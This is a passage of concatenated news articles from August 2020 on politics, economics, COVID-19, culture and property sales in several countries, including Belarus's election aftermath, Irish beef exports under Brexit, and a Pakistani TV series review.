very clear that I supported the One Country, Two Systems international agreement. https://t.co/MS9xxpxjMK Michelle ONeill (@moneillsf) August 11, 2020 Responding to the report, Ms ONeill tweeted: I made it very clear that I supported the One Country, Two Systems international agreement. Patrick Corrigan, from Amnesty, highlighted that the meeting happened days after images emerged that appeared to show hundreds of hooded Uighur Muslims in Xinjiang province being transported from a train station. Mr Corrigan, Amnesty International UKs Northern Ireland programme director, said: The Chinese government says that Northern Irelands political leaders have endorsed their draconian actions in Hong Kong and remained silent about human rights violations in Xinjiang and elsewhere in China. Surely this cannot be true. If this is an accurate report of the meeting, then the First and deputy First Minister have let down the people of Northern Ireland and betrayed the people of Hong Kong and the Uighur community in China. We need to hear a clear public condemnation from Arlene Foster and Michelle ONeill of what the Chinese government is doing in Hong Kong and Xinjiang. First Minister Must Clarify Reported Comments on Hong Kong | https://t.co/eGKaMFM9EK https://t.co/iW25eoCH2l Jim Allister (@JimAllister) August 11, 2020 Traditional Unionist Voice leader Jim Allister also called for clarification. In light of the appalling record of the Chinese government on human rights and disregard for the international agreement which is still binding in regard to Hong Kong such comments, if accurate, would be totally inappropriate and I believe give an entirely inappropriate impression of how the people of Northern Ireland view what is currently taking place in Hong Kong, he said. The Executive Office did not immediately move to publish a record of the call. A spokeswoman for the Stormont administration said the call involved a briefing by the consul general on the situation in Hong Kong. The consulates report does not reflect ministers positions on Hong Kong security legislation, nor their comments at a recent courtesy meeting with the Chinese consul general, she said. As these matters are not devolved, ministers stated their awareness of the issues and their hope that the matter could be resolved. Treasury Secretary Steven Mnuchin finally commented on when unemployed Americans could start to receive the $400 federal unemployment aid after several reporters asked him. On Saturday, President Donald Trump signed an executive order that extends the federal unemployment aid after the stimulus negotiations between the Republicans and Democrats failed to reach an accord. Based on the order, an amount of $400 will be given to qualified unemployed individuals. Following this, many raised questions to Trump's administration as to when to receive the unemployment aid. On Monday, Mnuchin finally said states would execute the federal unemployment aid next week or within two weeks. Meanwhile, White House Press Secretary Kayleigh McEnany told reporters, before Mnuchin announcement, that the federal unemployment aid would be given to millions of Americans "quickly" and "close to immediately." However, she did not provide a specific time frame. It can also be remembered that after Trump signed the executive order for the expansion of federal unemployment aid, he said this would be rapidly distributed. According to the executive order, states will have to cover 25 percent or $100 of the benefit amount. According to Trump, the federal unemployment aid worth $44 billion will be coming from the Federal Emergency Management Agency. Using the fund in the agency, the federal government will contribute $300, while the state will counterpart $100 for the Americans to receive $400. But after several governors disagreed with giving the $100 due to their states' economic fallout, the president noted that his administration could cover all the cost or the whole $400. He said state governors could make a request for this. Along with the executive order on the expansion of the federal unemployment payment, Trump also signed three other executive orders regarding house eviction protection, freezing student loans, and delaying payroll taxes at the end of this year. The president noted that he was also considering making his executive order on payroll taxes permanent once he is elected this November again. Check this out! During the past few days, southern China has experienced a torrential downpour which threatens farmers' livelihood. One such example is Poyang Lake which overflowed and diminished rice harvests that should have been collected. Acts of God or natural disaster will have a disastrous effect on the farming industry, according to CTV News. Due to the flooding, farmers like Bao Wentao have lost a fortune on their rice harvest. What should have been a bountiful harvest is lost by due to the massive flood in southern China. Farmers suffered a loss of about 36 acres, which were swallowed by Lake Poyang. In an interview with CNN Business, Bao said the crops were gone. It was supposed to sell for $28,000, but after the flood, it's not worth anything anymore. The overflow of the Poyang Lake in Jiangxi has caused a food shortage in what is known as the land of fish and rice. This is one of the areas that China depends on for rice production near the western Tibetan border. Due to the flooding, about 70% of all rice supply in the mainland is affected. To Bao and other farmers, floods have wipeout this year's total crops and nothing can be done to reap their investment and hard work. The damage has been devastating. Not only did the rainfall ruined crops that they were about to collect, but the scale of the flooding has made it impossible to salvage anything from this year. Also read: Loss of Hong Kong's Autonomy Under China's Rule Might Mean Sanctions From US There's a total of 13 million acres of croplands, that is comparable to the West Virginia state, in the Chinese mainland. Agencies like the Ministry of Emergency Management have valued the loss at a staggering $21 billion for all the damage incurred. People who depend on the harvests which be the most affected, according to News Plus 24. A coronavirus-ravaged economy is on the rocks as food stores are released. One solution is importing goods and produce from abroad which may replenish the national supply for food. Nevertheless, these backups are not guaranteed to suffice for extended periods of time, especially now that China is still reeling in from the aftermath of the pandemic. These conditions will make it hard for other countries to help. There's also a lot of worry over natural disasters that might strike corn and wheat supplies. If this happens, thousands more will be affected. Experts are fearing the worst as things get unpredictable. Food supplies are not secure and Beijing is not ready to release data on how much is still available. The point of all these lost crops is that there are current losses in food product, which is around $1.7 billion in output. Based on what the Chinese brokerage firm Shenwan Hongyuan determines, China will lose about 11.2 million tons of food in 2020. That loss is only for rice, but it's already tipping the scales because this grain is one of the most widespread food in the country. Related article: Chinese Journalist Missing After Revealing Information on Real Wuhan Coronavirus Situation @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Tajik operator Tcell has activated its first 5G base stations in the city of Dushanbe. The operator received a licence for 3500MHz spectrum in June last year, and its commercial 5G network is now live. Local news outlet Asia-Plus reported that Tcell has achieved download speeds of nearly 1Gbps ten times faster than the top speed of its 4G network. The operators CEO Ozodkhon Davlatshoev said: We will create free test centres in the city so that people can test [5G] There are already applications from our corporate clients who would like to use 5G right away. There are still restrictions on the consumer side The technology is new, so the devices are expensivefull commercialisation of the project will take at least three to five years. The executive added that Tcell was investing in fibre infrastructure to support future 5G growth. CommsUpdate noted that the operator had not confirmed commercial 5G tariffs, but was offering customers the chance to win 5G devices with data allowances via its website. Tcell is not the first operator to launch commercial 5G services in Tajikistan - in February this year, the local unit of MegaFon announced that customers with 5G-ready devices would be able to access 5G speeds in the centre of Dushanbe without paying a higher rate. The number of arriving and departing flights in countries of the former Yugoslavia are down an average of 60.2% compared to last year as a result of the Coronavirus pandemic, with Croatia being the exception. At the end of last week, flights were down 41.2% in Croatia according to European air navigation provider Euroctronol. The softer decline in air traffic in the country, the third lowest in Europe overall after Albania and Luxembourg, is primarily down to coastal airports, with Zagreb itself seeing a weekly average decline of 51.1%. The Croatian tourism sector has seen promising signs of recovery with 2.44 million arrivals registered in July, around 60% of last years result. "With the increase in the number of airlines, tourist traffic in the southern parts of Dalmatia, including Dubrovnik, has intensified", Kristijan Stanicic, the head of the Croatian Tourist Board, said. Over one million arrivals were processed during the first nine days of August, which is at 70% of last years figures. Traffic in Slovenia declined 56.7%, positioning it behind Bulgaria but ahead of the United Kingdom, albeit at different starting bases. Slovenias softer decline is down to the majority of airlines resuming traffic to Ljubljana, while figures were well down last year as well as Adria Airways entered its penultimate month of operations, cancelling numerous flights at the time. Bosnia and Herzegovinas decline in traffic stood 60.2%, with Sarajevo particularly affected. The capital citys traffic fell 69.7%, however, a slow recovery in Tuzla and Banja Luka have lowered the countrys overall rate of decline in the number of arriving and departing flights. Serbia and Montenegro, which are jointly grouped by Eurocontrol, saw a 60.3% decline in the number of flights, positioning them behind Bosnia and Herzegovina but ahead of the likes of Denmark, the Czech Republic and Ireland. The decline in Montenegro was more pronounced, with Podgorica seeing its traffic down 68.3%, while Belgrades weekly average figures decreased 57.5%. Macedonia recorded the biggest decline in traffic among the EX-YU markets, with average weekly figures down 64.7%, behind most countries but still ahead of Sweden, Moldova and Georgia. Skopjes traffic itself declined 59.9%. Separate data for Kosovo is not available as it is not a formal member of Eurocontrol. On the fourth Saturday of each January, the dead grass of Mount Wakakusa is set ablaze as part of a unique and impressive festival called Wakakusa Yamayaki (Wakakusa Burning Mountain). No one known exactly how the tradition of burning an entire 342-metre-high hill in Japans Nara Prefecture actually started, but one thing is for certain it has been around for hundreds of years. Some say it began as a boundary dispute between the two greatest temples of Nara, Todai-ji and Kofuku-ji, sometime during the 18th century. When mediation failed, the entire hill was burned to the ground, although no one quite remembers how that solved anything. Another theory claims that the annual fire originated as a way to eliminate pests and drive away wild boars. Today, its just an impressive sight to behold that attracts tourists from all over the world. Photo: /Wikimedia Commons Wakakusa Yamayaki starts early in the day, with a competition of giant rice cracker throwing. Its not until 5 pm that a procession departs from the Tobino area of Kasuga Taisha towards Mount Wakakusa, stopping at the Mizuya Shrine along the way in order to light the torches. At around half past five, the procession arrives at the base of the hill and a large bonfire is lit. After a 15-minute fireworks display, torches are lit from the bonfire and the dead grass is set ablaze. Depending on the condition of the grass on Mount Wakakusa, it can take between 30 minutes and an hour for the entire area to burn. In wet conditions, the grass burns slowly and only in certain areas, whereas when it is dry, the blaze just covers up everything extremely fast. View this post on Instagram A post shared by Y.W (@clear_orange) on Jan 24, 2015 at 7:13pm PST Because the fire burns over such a large area, it appears to light up the sky and can be seen for miles around! Hundreds of spectators gather at the base of Mount Wakakusa, but thousands more watch the blaze from within Nara city, as well as other vantage points in the area. A special barrier prevents people from getting to close to the fire, and hundreds of volunteer firefighters are present just in case something goes wrong during the festival. Its not the most environmentally-friendly festival in the world, thats for sure, but Wakakusa Yamayaki has a special place in the hearts of the people of Nara, Japan, so they probably wont be giving up their centuries-old tradition anytime soon. Hes come a long way from Robertsdale, and now Alabama native and Apple CEO Tim Cook can add another title - billionaire. Bloombergs Billionaires Index says that Cooks net worth passed the $1 billion mark after Apples stock jumped almost 5 percent last week, pushing its market value near $2 trillion. In addition, it means Cook is a rarity among billionaire CEOs, in that he did not start the company he leads. Cooks net worth estimate is based on an analysis of regulatory filings and estimated share sales. Bloomberg notes that Cook, 59, said in 2015 that he plans to give most of his fortune away, so his wealth could be lower if hes made undisclosed charitable gifts. New biography sheds light on Tim Cooks Alabama past Cook has spent 22 years with Apple and took over the company from Steve Jobs in 2011. Jobs died about two months later, one day after the company unveiled the iPhone 4S. Under Cook, the company has overseen the development of the iPhone X, Apple Watch, Apple Music and other products. In case youre wondering, Alabamas richest resident is Jimmy Rane, the founder and CEO of Great Southern Wood Preserving, according to Forbes. Rane is worth $900 million. After leaving Belarus for Lithuania, presidential candidate Svyatlana Tsikhanouskaya, President Alyaksandr Lukashenkas main opponent in the August 9 elections, has addressed her supporters in a video statement in which she describes herself as a weak woman forced to make a very difficult decision. I thought that this whole campaign hardened me a lot and gave me so much strength that I could endure everything. But I probably remained that weak woman that I was at the start of the campaign, Tsikhanouskaya said, speaking in a tired voice. I made a very difficult decision for myself. I made it absolutely independently. Lithuanian Foreign Minister Linas Linkevicius, a critic of the conduct of Belarus presidential elections, tweeted in the morning of August 11 that Tsikhanouskaya had come to Lithuania and is safe. I know that many will understand me, many will condemn me. And many will hate me. But, you know, God forbid that anyone face the choice that I faced, said Tsikhanouskaya. She did not elaborate further. On the evening of August 10, Tsikhanouskayas campaign alleged the 37-year-old candidate was being held by force in Belarus Central Election Commission after she went to file a complaint about the results of the presidential election that named President Alyaksandr Lukashenka, in office since 1994, as the victor with 80.23 percent of the vote. However, campaign attorney Maksim Znak, who had been with Tsikhanouskaya in the CEC, said that the candidate left the building of her own accord. Representatives of the government reportedly spoke with Tsikhanouskaya about not taking steps that could lead to riots. The candidate, who received just over 10 percent of the vote, according to preliminary official data, has not participated in the ongoing election protests. On August 10, the Interior Ministry confirmed that one man had died when he allegedly tried to throw an explosive device at special forces in Minsk. Three thousand people have been detained and scores wounded across Belarus since protests began on the night of August 9, according to the latest official data. Urging Belarusians to take care of yourself, please, Tsikhanouskaya stressed in her video statement that Not a single life is worth what is happening now. Children are the most important thing in our life. Tsikhanouskayas own children and one of their grandmothers were taken into the European Union before the August 9 election for safety, the campaign has stated. Her husband, vlogger and former would-be presidential candidate Syarhey Tsikhanouski, remains in jail, facing criminal charges of allegedly conspiring with 33 Russian detainees to provoke uprisings during Belarus presidential election. In response to Tsikhanouskayas video statement, ally Veranika Tsapkala, who left Belarus for Russia ahead of the vote, emphasized on August 11 to Current Time that her associate, a homemaker with no previous political experience, is not a weak woman. Tsapkalas husband, Valer Tsapkala, another former would-be presidential candidate who fled to Russia last month, stressed that the election protests are not over Tsikhanouskaya herself. Rather, he said, the candidate has become a symbol for Belarusians long-pent-up desire for democratic change and an end to dictatorship. Rising beef exports to Asia and the US will not compensate for the loss of sales into the UK market if there is a hard Brexit in January, Bord Bia is warning. The food promotion agency says beef producers must diversify to markets outside Europe, even though this can't happen fast enough to counter a devastating loss of UK sales if a Brexit trade deal is not agreed. Sales are rising sharply in several new markets, including China and the US, Bord Bia figures show. But such gains would barely dent the losses facing beef farmers in January 2021 if there is no UK trade deal. Britain says it will impose tariffs ranging from 62pc to 107pc on Irish beef if it can't reach agreement with the EU. "It is a genuinely huge risk," said Bord Bia chief executive Tara McCarthy. "Britain is our most important market and the highest-paying market in Europe for our beef. When the British decide what tariff they will apply, Ireland has no influence on that decision." Britain's proposed regime would slap a 72pc penalty on boned chilled beef, which represents about two-thirds of our nearly 1bn in annual beef exports across the Irish Sea. A 107pc tariff would be added to boned frozen beef, Ireland's second-highest beef export to the UK, commonly used for burgers. Ireland's relatively low exports of unboned beef, from carcasses to specialist steak cuts, would be hit with a 62pc tariff. These would be the highest tariffs ever imposed on Irish food exports, according to Bord Bia's senior manager for meat and livestock, Joe Burke. "Obviously even a tariff of 62pc on our products going into the UK would wipe out the vast majority of this trade," Mr Burke said. Britain today imports a third of its beef, three-quarters of that from Ireland. If tariffs made Irish beef uncompetitive, Britain might turn to suppliers offering cheaper beef in South America, competing with the EU's 2019 trade treaty with the Mercosur states. Bord Bia is building markets for Irish beef in China, where steak cuts popular in the West are barely recognised, and in other Asian nations. This year, as beef exports to the UK and EU fell amid Covid-19 disruption, they have accelerated in the Far East. In the five months to May, Chinese imports of Irish beef jumped by 134pc to 22.5m. Demand in the Philippines rose 62pc to 18.2m, while beef trade with Japan went from almost nil a year ago to 7.3m. Ireland is still trying to crack the South Korea market. Different meat cut preferences mean that Asian markets help Irish processors to sell more of a carcass, boosting efficiencies. But beef products that command top prices in Europe don't sell well in Asia, so it can't replace the importance of the UK. "We wouldn't be able to sell our steak cuts in China because they don't really recognise those cuts," Mr Burke said. "Here, steak cuts would sell twice to three times per kilo versus what mince would sell for. In China that differential doesn't exist at all." Conversely, flank steak and cheaper forequarter cuts are valued in China in stews, stir fries and hot pots, as is the meat between ribs consumed as barbequed 'rib fingers'. Ms McCarthy said beef can be tougher to market abroad because big retailers here and in the UK have wanted to control that branding themselves. "There's very limited brands in meat in general but specifically in beef, because retailers have chosen beef as their calling card. You go to that supermarket because you believe it has good beef. The retailers want to own that," she said. In the US, where grass-fed and hormone-free Irish beef can be marketed as a premium product, food processing company Kepak has placed the Celtic Beef brand in Roche Brothers supermarkets throughout New England. Its marketing conjures an Ireland where cows graze on "lush grass that grows deep and thick, where soft rain flows over fertile soils". Beef exports to the US have grown in the first five months of 2020 by 130pc to 15.5m. While the US is one of the world's biggest beef producers, its consumption outstrips production, Mr Burke said. "The US is one of the biggest importers of forequarter beef for their burger industry. They are an importer, particularly from Australia and New Zealand. They could increase their volume of Irish beef," he said. (Onitsha, Eastern Nigeria, 11thAugust 2020): According to Saharareporters of 10th August 2020, thirteen persons (Benue Christians) were confirmed dead and many residents missing after 20 (strongly suspected) armed Fulani hoodlums invaded Edikwu District under Ukpogbo in Apa Local Government Area of Benue State and shot people in their homes. The attack took place in the early morning of Monday, 10th August 2020 between 4am and 5am. The Jihadist gunmen also torched houses as residents scampered for safety, Saharareporters further disclosed. Confirming the attack, the Benue State Police Public Relations Officer, Suwese Anene said many residents were still missing after the attack. Anene further said, 13 corpses were recovered by a team of police officers deployed to the scene following a report that about 20 gunmen had stormed the Community early on Monday, shooting sporadically and burning houses, living several dead and others missing. Edikwu Community under Ukpogbo located in Apa Local Government Area of Benue State is one of the communities recently captured in the report of Intl Society for Civil Liberties & Rule of Law, as one of the Benue Igbo offshoot Communities experiencing incessant attacks including killings and invasions by Jihadist Fulani Herdsmen. Police Questionable & Laughable Narrative : There has been a lingering crisis in the Community for sometimes now. One of the loyal families had disagreed with the choice of the kingmakers of the Community who elected the late Chief Imoni Otokpa as Alegwu of Edikwu before his demise in 2018. It was further gathered that one of the children the late king is on the throne in an acting capacity, a development not pleasing to the other royal families. Confirming the incident, the State Police Command spokesperson, Catherine Anene said the Edikwu District in Ukpogbo, Apa Local Government Area of Benue State was experiencing incessant crises over chieftaincy crises chieftaincy affair until 25th May 2020 when the Benue State Government convened a peace meeting that was headed by the Deputy Gov, Mr. Benson Abounu that put an end to the rancor. Police Narrative Dead On Arrival: Contrary to the Nigeria Police Force questionable and laughable narrative which was also the case in recent anti Christian butcheries in Southern Kaduna, Kogi and Bayelsa States; the latest narrative by the Force is utterly dismissive and dead on arrival. It is also contradictory as in how the same rancor that was resolved and ended as recently as on 25th May 2020 could somersault to the point of industrial scale slaughtering 13 defenseless persons, missing of many and destruction of properties including houses. This is more so when there have never been reported cases of such killings in connection with the said chieftaincy tussle since 2018. Killings generally also have their patterns and motives. Killings associated with chieftaincy tussles have specific patterns, motives and targets including targeted killings and abductions usually perpetrated by hired killers of 1-5 man gang; and not twenty-man butchers engaging in mass killings. It is saddening that covering of Jihadist Herdsmen butcheries and protection of their perpetrators in Nigeria has most likely appeared to have been presidentially scripted and handed over to the countrys security and defense chiefs as newest modus operandi to use in covering the jihadist atrocities and misleading and diverting the attention of Nigerians and members of the intl community. It is therefore most likely correct to say that the latest Benue anti Christian butchery indisputably and undeniably has imprint and footstep of the Jihadist Fulani Herdsmen atrocities including hours or timing of the attack, place and location of the attack, ethno-religious identities of the victims (Benue Christians) of the attack, number of casualties in the attack, missing persons in the attack and properties destroyed in the attack. Signed: Emeka Umeagbalasi, Board Chair and Amaka Damaris Onuoha, Esq., Head, Campaign & Publicity Contacts: WhatsApp: +2348174090052, Email: [email protected] , Website: intersociety-ng.org UNITED NATIONS The United States on Tuesday circulated a revised resolution that would extend a U.N. arms embargo on Iran indefinitely, seeking to gain more support in the 15-member Security Council where veto-wielding Russia and China have voiced strong opposition. U.S. Ambassador Kelly Craft said the new draft takes council views into account and simply does what everyone knows should be done extend the arms embargo to prevent Iran from freely buying and selling conventional weapons. It is only common sense that the worlds #1 state sponsor of terror not be given the means of unleashing even greater harm on the world, she said in a statement. Council diplomats said the revised draft could be put in a final form Thursday and put to a vote Friday. Diplomats, speaking on condition of anonymity because the new resolution had not been made public, said the revised text is shorter than the original draft circulated in June. That draft included several provisions that some diplomats objected to as going beyond the extension of the arms embargo. One provision in the original resolution would have authorized all U.N. member states to inspect cargo entering or transiting through their territory at airports, seaports and free trade zones from Iran or heading there, if the member state had reasonable grounds to believe the cargo contained banned items. Another provision would have condemned a September 2019 attack on Saudi Arabia and December 2019 attacks on an Iraqi military base in Kirkuk and the U.S. Embassy in Baghdad, saying Iran was responsible. The United Nations banned Iran from buying major foreign weapon systems in 2010 amid tensions over its nuclear program. That blocked Iran from replacing its aging military equipment, much of which had been purchased by the shah before the 1979 Islamic Revolution. An earlier embargo targeted Iranian arms exports. The U.S. push to make the arms embargo permanent follows President Donald Trumps 2018 withdrawal from the 2015 nuclear deal between six major powers and Iran, aimed at preventing Iranian development of nuclear weapons. Tehran has repeatedly insisted it has no interest or intention to produce a nuclear bomb. The 2015 U.N. Security Council resolution endorsing the nuclear deal includes a provision lifting the arms embargo on Iran on Oct. 18. The foreign ministers of Russia and China, in separate letters to U.N. Secretary-General Antonio Guterres and the Security Council last month, were sharply critical of the U.S. effort to indefinitely extend the arms embargo. They gave every indication they would veto any such resolution if it got the minimum nine yes votes in the 15-member council, which appears unlikely. If the resolution is defeated, U.S. Secretary of State Mike Pompeo suggested the U.S. would invoke the snap back mechanism in the 2015 nuclear deal that would restore all U.N. sanctions on Iran. Snap back" was envisioned in the event Iran was proven to be in violation of the accord, under which it received billions of dollars in sanctions relief in exchange for curbs on its nuclear program. Russian Foreign Minister Sergey Lavrov accused the Trump administration of waging a politically motivated campaign against Iran and called for universal condemnation of the U.S. attempt to impose a permanent arms embargo on the Islamic Republic. He said Trump withdrew from the 2015 nuclear agreement and now has no legal right to try to use the U.N. resolution endorsing the deal to indefinitely continue the embargo. Chinese Foreign Minister Wang Yi said the arms embargo should be lifted Oct. 18. He also argued that since the U.S. is no longer a party to the nuclear deal it has no right to demand the Security Council to activate the rapid reinstatement of sanctions through the snap back provision. The five remaining signatories to the 2015 deal Russia, China, Britain, France and Germany remain committed to the agreement. Diplomats from several of these countries have expressed serious concern that extending the arms embargo would lead to Irans exit from the deal and its speeded-up pursuit of nuclear weapons. The U.S. argues that Iran hasnt been cooperating with the International Atomic Energy Agency for a year and has been moving a lot of weapons to proxies in the Middle East despite the embargo. If the embargo is lifted, the U.S. Defense Intelligence Agency predicted in 2019 that Iran likely would try to purchase Russian Su-30 fighter jets, Yak-130 trainer aircraft and T-90 tanks. Tehran also may try to buy Russias S-400 anti-aircraft missile system and its Bastian coastal defense missile system, the agency said. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Papua New Guinea has asked for World Health Organization help after a rapidly spreading new coronavirus outbreak sparked preparations for large-scale community transmission in the under-resourced country. Having mostly dodged the COVID-19 pandemic until now, Papua New Guinea reported Thursday it had detected three new cases in the previous 24 hours, bringing the total to 30 -- up from just 11 on Sunday. With limited coronavirus testing and many positive cases found in health workers, there are fears the virus may have a stronger foothold than those detected cases indicate. National pandemic response controller David Manning expressed "serious concerns on the alarming rate of increase of COVID-19 cases in Port Moresby and the likely spread to the other provinces", saying there was a "high likelihood of expanded community transmission". Papua New Guinea is one of the poorest countries in the Pacific. Its rickety health system is already under severe pressure from the widespread transmission of malaria, tuberculosis and HIV/AIDS, as well as one of the world's few remaining outbreaks of polio. Port Moresby resident and mother of five Christine Tameta told AFP that the number of cases among health workers had caused deep concern. "We are afraid to move around in case we contract the virus, especially when there is no social distancing being observed," she said, adding that her family would be staying at home as much as possible. Against the growing threat Manning said that the WHO was in the process of mobilising international emergency medical teams to deploy to the country. He said in a statement there was "an urgent need" for emergency health workers to help the country manage a surge in cases and administer isolation facilities. "We are also discussing with the PNG Defence Force to assist... the Health Department. We have always said we don't have adequate facilities." Senior health department official Esrom Doani told AFP that plans were already being drawn up for the police and Papua New Guinea Defence Forces to aid the effort. He added that the positive cases among medical workers had prompted an investigation into whether the cause was transmission or a possible bio-security breach. Manning admitted testing had been "very limited" in areas outside the capital, and "while there is no evidence of hospitals being overwhelmed", that could "be due to delayed reporting or poor health checking behaviour". Papua New Guinea had largely avoided the coronavirus pandemic, until the recent outbreak THE striking nurses, who were struck off the July payroll, have vowed not to return to work until the new Health minister Vice-President Constantino Chiwenga has addressed their demands. Zimbabwe Nurses Association (Zina) president Enock Dongo confirmed the position yesterday. Dongo said being struck off the payroll had not rattled the majority of health workers who are demanding personal protective equipment (PPE) and salaries in United States dollars from their employer, before they could resume their duties. We are still on strike and we are on day 52. The majority of public hospitals are literally closed and patients are being referred to private health centres. Some patients are actually dying because they do not afford to pay the forex charges at the private hospitals, but as nurses we cannot call off the strike at this stage, he said. Government has not done anything to meet our demands which are US dollar-pegged salaries or provision of adequate personal protective equipment. Actually the skeletal staff of nurses which is attending to emergency cases at the hospitals does not have adequate PPE. So if we wake up tomorrow and call off the strike, it will be a disaster in public hospitals with the sharp rise in COVID-19 cases among nurses. Government must just meet our demands, then we can call off the strike. He said all nurses on strike were removed from the government payroll last month. Its true that all of us on strike have been struck off the government payroll. However, we are not going to give in to such intimidatory tactics and go back to work. What we are supposed to do at hospitals in fulfilment of our duties does not tally with what we will get at the end of the month in form of salary, so we better stay home until government comes to the negotiating table to iron out our grievances, Dongo said. At the beginning of the strike, government refused to pay the nurses in forex as per their demands, setting the stage for the impasse. 'Churails' review: A feminist vigilante show from Pakistan we must celebrate This spunky new series created by Asim Abbasi is about a group of women who band together to take on abusive men The greatest witch-hunt scene of all time is in the 1975 classic, Monty Python And The Holy Grail. Some villagers, eager to burn an alleged witch, decide that witches must surely be made of wood, since wood, like witches, is used for burning. So how do we tell whether she is made of wood? asks a blowhard, leading to a most unforgettable suggestion: Build a bridge out of her. advertisement advertisement That idea, however loony, is no more absurd than witch-hunting itself, better suited to medieval illiteracy but something that shamefully continues to dog us. Even this week, our national media and social networks are haranguing an Indian actress and forcing her to assure us that she is not, in fact, a witch. Churailsa spunky new Pakistani series, streaming on Zee 5 wants to take back that particular c-word. Four women defiantly proclaim themselves churails, pulling on multicoloured hijabs to hand out retribution to the male of the species. They belong to different worlds: There is a wealthy lawyer, an out-of-work wedding planner, a boxer from a poor family and a convict who spent decades in prison for murdering her husband. Behind the facade of a retail boutique, they create an army of women to take on abusive menfrom straying husbands to exploitative fathers. advertisement advertisement The show is mad cool. Created by Asim Abbasi, director of the critically acclaimed film Cake (Netflix), the 10-episode series takes this dynamite premise and has a blast. The characters are compelling, the vibe between them is fantastic and rightly shape-shifting, the cinematography is deliciously showy, and the dialogues crackle with an irrepressible energy. As our heroines head into murkier territory, it becomes evident Abbasi may be retelling actual stories of deviance and oppression, filtering headlines through his comic book-y narrative. These ninjas are gunning for the patriarchy with style. advertisement advertisement Sara knows style. An affluent woman who quit practising law in order to play a picture-perfect wife, she wonders about returning. Main hoon na, says her husband dismissively, emphasizing how little she needs to work. She agrees, but sighs: Aaj kal main thodi kum hoon (There is less of me these days). Sarwat Gilani Mirza is lovely as the exquisitely dressed but conflicted leader of these women, a mother who tells her children not to have chocolate in the morning but bites into a bar herself because, as she explains, sometimes mothers deserve it. advertisement advertisement The best lines come from Jugnu Chaudhury, a hip-flask-toting wedding planner with abandonment issues, who instructs annoying brides to go get your Sabya on. The constant pop-cultural slang may have grated if not for Yasra Rizvi, who plays Jugnu with an effortlessness that makes her flippancy seem authentic.With her detached air, Jugnu proves to be an unlikely voice of reason. She appears casually homophobic at the start of the series, but after hiring trans people and lesbian convicts, her world view seems to expand. She also gives the best nicknames: She calls the intense murderess Phoolan, and it is bloody perfect. advertisement advertisement The others call her Badi Amma. Batool, played by the magnetic Nimra Bucha, has a traumatic past and a mercurial temper, and the actor brings a weariness to her zeal. It is Batools slow-burn ferocity that holds the show in place as it deals with darker and darker stories, and she is that rare thing, a true narrative wild card, a character you can believe capable of anything. Batool is a woman of action who doesnt even attempt discretion. The boutique within the showthe storefront hiding this rampaging covenis named Halal Designs, but there is nothing lawful about these ladies. advertisement advertisement According to Wikipedia, Zubeida means soft-bodied and like cream. The Zubeida of Churails is a spunky young boxer (who loathes her own name) who faces extreme oppression from a slipper-flinging father. Played by Mehar Bano, she comes across as sweet as she is tough. Despite her bravado, she finds it hard to argue with authority. She tries to ward off a potential groom, for instance, with pictures of her chiselled boyfriend. The groom is instantly impressed, comparing him to Hrithik Roshan and Tiger Shroff. Its thrilling how we drink from the same pop-culture well. Our cousins from across the border may be different in many ways but their references are as relatableand as Bollywoodas can be, and this vigilante series serves as a stylish reminder. In the second season of Sex Education (Netflix), a few punished high-school girls are tasked with finding common ground. At long last, they realize the only thing they all share is that at some point, they have been harassed by men. These disparate avengers are the same. advertisement advertisement Cinematographer Mo Azmi creates something slick, stylized sequences cutting through the lush and seamy universe of this increasingly fearless show. Flashbacks are high-contrast, bathed in pink and red, memories and lies looking different. There is, however, overkill in terms of metaphors involving plastic dolls and women created from the rib of men, too literal and portentous for a show this clever. Each episode is nearly an hour longI watched four episodes ahead of release for this review and cant wait to dive through the restand they lose some snap in an attempt to lecture, to shock, or to spell out too much. The first two are a treat, unleashing this startling and original premise, but after that, while characters and intrigue remain, parts of Churails, melodramatic and simplistic, start to resemble lesser television. How I wish the episodes were 45 minutes long. advertisement advertisement Churails slays the vibe. The way the women talk, and how that evolves as they do. The way girls brandish pistol-shaped lighters to threaten people, while men cower behind laptops, wearing shirts that say Fearless. When clients come to hire these warriors, they sit behind confessional-type walls with big, post-box slits that give away only their eyeslike burqas. These are special witches. Not only do they cast a spell, they build a bridge. Stream of Stories is a column on what to watch online. Raja Sen is a film critic and the author of The Best Baker In The World (2017), a childrens adaptation of The Godfather. @rajasen German Foreign Minister Heiko Maas said he is scheduled to meet with Russian Foreign Minister Sergei Lavrov in Moscow on August 11 for talks expected to cover the Nord Stream 2 gas pipeline project. Maas spoke with U.S. counterpart Mike Pompeo on August 9, expressing his "dismay" over the threat of sanctions against a German port operator for its part in a pipeline project. The port is a key staging post for ships involved in the construction of the pipeline, RFE/RL reported. Maas said he spoke with Pompeo about a letter sent last week by three Republican senators threatening sanctions against Faehrhafen Sassnitz GmbH, the operator of the Mukran Port, located in German Chancellor Angela Merkels constituency on the Baltic Sea island of Ruegen. The United States has long opposed Nord Stream 2, which has increasingly become a source of friction between Berlin and Washington. The United States argues the project will endanger European security by making Germany overly dependent on Russian gas. The United States already has imposed sanctions aimed at companies working on the project, saying the pipeline will increase the European Union's dependence on Russia for natural gas. German officials have condemned the U.S. sanctions, and some critics argue that behind U.S. opposition to the pipeline project is its own desire to sell its liquefied natural gas to Europe. Senators Ted Cruz, Tom Cotton and Ron Johnson said their letter "serves as formal legal notice that the port operator, its board members, corporate officers, shareholders, and employees risk crushing legal and economic sanctions" unless they stop providing goods, services and support for the Nord Stream 2 project. This includes providing storage and provisions for the Russian-flagged vessels Fortuna and Akademik Cherskiy, the letter said. The popular city fringe suburb is still a hit with investors. A local owner-occupier has paid $4,175,000 for an office/warehouse at 131-135 Dover Street in a deal brokered by Teska Carson's George Takis and Larry Takis . "This is another exceptional result. Who said COVID-19 is not bringing strong results? At a land rate of more than $10,000 a sq m, certainly there are pockets of the market that are, George Takis said. Crabtrees Real Estates Megan Miles and Joe Monea negotiated the sale of an office/warehouse at 1/12 Macro Court for $601,000 to a local owner/occupier. Even though the property was listed at the height of the pandemic, we were confident the demand for such facilities would result in a sale, Ms Miles said. Cheltenham Demand for classic brick warehouses in the south-east remains popular. A 418 sq m building on 618 sq m of land at 1 Hewitt Street sold with vacant possession for $965,000. Andrew Pannam from Nichols Crowder said the sales campaign generated 76 inquiries. Braeside A fully fitted food production facility with a long-term secure tenant sold to an investor for $800,000 in a deal negotiated by Crabtrees Real Estates Rod King and Andrew Loudon. The factory at 24a Braeside Drive is returning rent $62,496 per annum net from Prestige Food Manufacturing Pty Ltd who just 